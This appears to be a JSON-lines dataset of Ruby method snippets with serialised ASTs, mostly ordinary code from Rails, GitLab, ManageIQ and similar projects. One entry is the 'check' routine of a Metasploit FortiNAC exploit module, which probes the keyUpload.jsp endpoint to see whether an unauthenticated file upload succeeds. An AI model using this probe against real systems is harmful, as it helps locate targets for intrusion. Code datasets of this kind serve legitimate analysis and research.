{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_provision_quota_mixin.rb","start_line":339,"raw_source":"def quota_provision_stats(prov_method, options)\n    result = {:count => 0, :memory => 0, :cpu => 0, :storage => 0, :ids => [], :class_name => \"MiqProvisionRequest\",\n              :active => {\n                :class_name => \"MiqProvision\", :ids => [], :storage_by_id => Hash.new { |k, v| k[v] = 0 },\n                :memory_by_host_id => Hash.new { |k, v| k[v] = 0 },  :cpu_by_host_id => Hash.new { |k, v| k[v] = 0 },\n                :vms_by_storage_id => Hash.new { |k, v| k[v] = [] }\n              }\n             }\n\n    send(prov_method, options).each do |pr|\n      service_request?(pr) ? service_quota_values(pr, result) : vm_quota_values(pr, result)\n    end\n    result\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"quota_provision_stats\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prov_method\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memory\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cpu\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"MiqProvisionRequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"MiqProvision\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage_by_id\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memory_by_host_id\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cpu_by_host_id\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vms_by_storage_id\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"prov_method\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pr\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_request?\",{\"type\":\"lvar\",\"children\":[\"pr\"]}]},{\"type\":\"send\",\"children\":[null,\"service_quota_values\",{\"type\":\"lvar\",\"children\":[\"pr\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"vm_quota_values\",{\"type\":\"lvar\",\"children\":[\"pr\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"7f8b6546-15f3-4a34-8355-149f56274b7e"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/regex_lexer.rb","start_line":16,"raw_source":"def initialize(re, callback)\n        @re = re\n        @callback = callback\n        @beginning_of_line = re.source[0] == ?^\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"re\"]},{\"type\":\"arg\",\"children\":[\"callback\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@re\",{\"type\":\"lvar\",\"children\":[\"re\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@callback\",{\"type\":\"lvar\",\"children\":[\"callback\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@beginning_of_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"re\"]},\"source\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"^\"]}]}]}]}]}","id":"6a5006f2-f724-4ac2-9567-ac89ab1814b5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/package.rb","start_line":155,"raw_source":"def self.by_name_and_file_name(name, file_name)\n      with_name(name)\n        .joins(:package_files)\n        .where(packages_package_files: { file_name: file_name }).last!\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"by_name_and_file_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"package_files\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"packages_package_files\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}]}]},\"last!\"]}]}","id":"9998913e-36e7-4064-8f0e-afc550f753d7"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/integration_helper.rb","start_line":28,"raw_source":"def app_file\n      File.expand_path('integration/app.rb', __dir__)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"app_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"integration/app.rb\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}","id":"9b934369-cb52-4a36-a66b-baedbaf3dcce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/design_management/design.rb","start_line":252,"raw_source":"def validate_file_is_image\n      unless image? || (dangerous_image? && allow_dangerous_images?)\n        message = _('does not have a supported extension. Only %{extension_list} are supported') % {\n          extension_list: valid_file_extensions.to_sentence\n        }\n        errors.add(:filename, message)\n      end\n    end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_file_is_image\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"image?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dangerous_image?\"]},{\"type\":\"send\",\"children\":[null,\"allow_dangerous_images?\"]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"does not have a supported extension. Only %{extension_list} are supported\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extension_list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_file_extensions\"]},\"to_sentence\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"4bdf8aa4-6a72-4caf-9b61-343c0f93f4b5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/messages/message_encryptor_rotator_test.rb","start_line":34,"raw_source":"def make_codec(secret = secret(\"secret\"), verifier_secret = nil, **options)\n      ActiveSupport::MessageEncryptor.new(secret, verifier_secret, **options)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"make_codec\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"secret\",{\"type\":\"send\",\"children\":[null,\"secret\",{\"type\":\"str\",\"children\":[\"secret\"]}]}]},{\"type\":\"optarg\",\"children\":[\"verifier_secret\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageEncryptor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"lvar\",\"children\":[\"verifier_secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"9f961628-1f0f-44ee-a087-6127f40b0e83"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/script_generator_test.rb","start_line":11,"raw_source":"def test_generate_script\n        run_generator [\"my_script\"]\n\n        assert_file \"script/my_script.rb\" do |script|\n          assert_match('require_relative \"../config/environment\"', script)\n        end\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_script\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"my_script\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"script/my_script.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"script\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"require_relative \\\"../config/environment\\\"\"]},{\"type\":\"lvar\",\"children\":[\"script\"]}]}]}]}]}","id":"75822fca-a824-428e-ad0b-52be01da49e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/fortinac_keyupload_file_write.rb","start_line":75,"raw_source":"def check\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),\n      'method' => 'POST'\n    })\n\n    return Exploit::CheckCode::Unknown('Target did not respond') unless res\n    return Exploit::CheckCode::Safe(\"Target responded with unexpected HTTP response code: #{res.code}\") unless res.code == 200\n    return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload')\n\n    Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!')\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"configWizard\"]},{\"type\":\"str\",\"children\":[\"keyUpload.jsp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Target did not respond\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target responded with unexpected HTTP response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"yams.jsp.portal.SuccessfulUpload\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"Target indicated a successful upload occurred!\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!\"]}]}]}]}","id":"685e2f16-8e71-48c0-8fc2-14036107e32e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/through_association.rb","start_line":96,"raw_source":"def ensure_mutable\n          unless source_reflection.belongs_to?\n            if reflection.has_one?\n              raise HasOneThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection)\n            else\n              raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection)\n            end\n          end\n        end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_mutable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_reflection\"]},\"belongs_to?\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"has_one?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HasOneThroughCantAssociateThroughHasOneOrManyReflection\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"owner\"]},{\"type\":\"send\",\"children\":[null,\"reflection\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HasManyThroughCantAssociateThroughHasOneOrManyReflection\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"owner\"]},{\"type\":\"send\",\"children\":[null,\"reflection\"]}]}]}]}]}]}","id":"6b81ee30-57d6-44f4-9ea8-8fddfaf89f2d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/admin/background_migrations_helper.rb","start_line":5,"raw_source":"def batched_migration_status_badge_variant(migration)\n      variants = {\n        active: :info,\n        finalizing: :info,\n        paused: :warning,\n        failed: :danger,\n        finished: :success\n      }\n\n      variants[migration.status_name]\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"batched_migration_status_badge_variant\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"variants\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finalizing\"]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"paused\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failed\"]},{\"type\":\"sym\",\"children\":[\"danger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finished\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variants\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"status_name\"]}]}]}]}","id":"b45816cb-a569-4308-843b-b3db55528784"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/merge_requests/message_generator.rb","start_line":5,"raw_source":"def initialize(merge_request:, current_user:)\n        @merge_request = merge_request\n        @current_user = @merge_request.metrics&.merged_by || @merge_request.merge_user || current_user\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"merge_request\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_request\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"metrics\"]},\"merged_by\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"merge_user\"]}]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]}","id":"00835510-12b5-406c-be56-65ceb92dc313"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq-reliable-fetch/lib/sidekiq/base_reliable_fetch.rb","start_line":180,"raw_source":"def preprocess_interrupted_job(job, queue, conn = nil)\n      msg = Sidekiq.load_json(job)\n      msg['interrupted_count'] = msg['interrupted_count'].to_i + 1\n\n      if interruption_exhausted?(msg)\n        send_to_quarantine(msg, conn)\n      else\n        requeue_job(queue, msg, conn)\n      end\n    end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"preprocess_interrupted_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"arg\",\"children\":[\"queue\"]},{\"type\":\"optarg\",\"children\":[\"conn\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"load_json\",{\"type\":\"lvar\",\"children\":[\"job\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"interrupted_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"str\",\"children\":[\"interrupted_count\"]}]},\"to_i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interruption_exhausted?\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[null,\"send_to_quarantine\",{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"lvar\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[null,\"requeue_job\",{\"type\":\"lvar\",\"children\":[\"queue\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"lvar\",\"children\":[\"conn\"]}]}]}]}]}","id":"ed2ba203-4934-437e-9c13-61e67a17768f"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/exception_presenter.rb","start_line":161,"raw_source":"def failure_lines\n          @failure_lines ||= [].tap do |lines|\n            lines.concat(failure_slash_error_lines)\n\n            sections = [failure_slash_error_lines, exception_lines]\n            if sections.any? { |section| section.size > 1 } && !exception_lines.first.empty?\n              lines << ''\n            end\n\n            lines.concat(exception_lines)\n            lines.concat(extra_failure_lines)\n          end\n        end","complexity_score":30.5,"ast_json":"{\"type\":\"def\",\"children\":[\"failure_lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@failure_lines\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lines\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"failure_slash_error_lines\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sections\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failure_slash_error_lines\"]},{\"type\":\"send\",\"children\":[null,\"exception_lines\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sections\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exception_lines\"]},\"first\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"exception_lines\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"extra_failure_lines\"]}]}]}]}]}]}","id":"1d5f0a18-a746-4735-bcb5-b7055776e7ec"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/trilogy/trilogy_rake_test.rb","start_line":292,"raw_source":"def test_structure_dump_with_hash_extra_flags_for_a_different_driver\n      filename = \"awesome-file.sql\"\n      expected_command = [\"mysqldump\", \"--result-file\", filename, \"--no-data\", \"--routines\", \"--skip-comments\", \"test-db\", {}]\n\n      assert_called_with(Kernel, :system, expected_command, returns: true) do\n        with_structure_dump_flags({ postgresql: [\"--noop\"] }) do\n          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)\n        end\n      end\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_structure_dump_with_hash_extra_flags_for_a_different_driver\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"str\",\"children\":[\"awesome-file.sql\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_command\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mysqldump\"]},{\"type\":\"str\",\"children\":[\"--result-file\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"str\",\"children\":[\"--no-data\"]},{\"type\":\"str\",\"children\":[\"--routines\"]},{\"type\":\"str\",\"children\":[\"--skip-comments\"]},{\"type\":\"str\",\"children\":[\"test-db\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"const\",\"children\":[null,\"Kernel\"]},{\"type\":\"sym\",\"children\":[\"system\"]},{\"type\":\"lvar\",\"children\":[\"expected_command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returns\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_structure_dump_flags\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"postgresql\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--noop\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"structure_dump\",{\"type\":\"ivar\",\"children\":[\"@configuration\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}]}","id":"317d4e33-a6ae-468d-8258-35fedd35d973"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240430015450_sync_index_for_builds_user_id_bigint.rb","start_line":32,"raw_source":"def up\n    INDEXES.each do |definition|\n      name, columns, options = definition.values_at(:name, :columns, :options)\n      # rubocop:disable Migration/PreventIndexCreation -- Legacy migration\n      add_concurrent_partitioned_index(TABLE_NAME, columns, name: name, **(options || {}))\n      # rubocop:enable Migration/PreventIndexCreation\n    end\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INDEXES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"definition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"columns\"]},{\"type\":\"lvasgn\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"values_at\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"columns\"]},{\"type\":\"sym\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_partitioned_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"9d082046-6e68-441b-9f2a-35231440ea9e"}
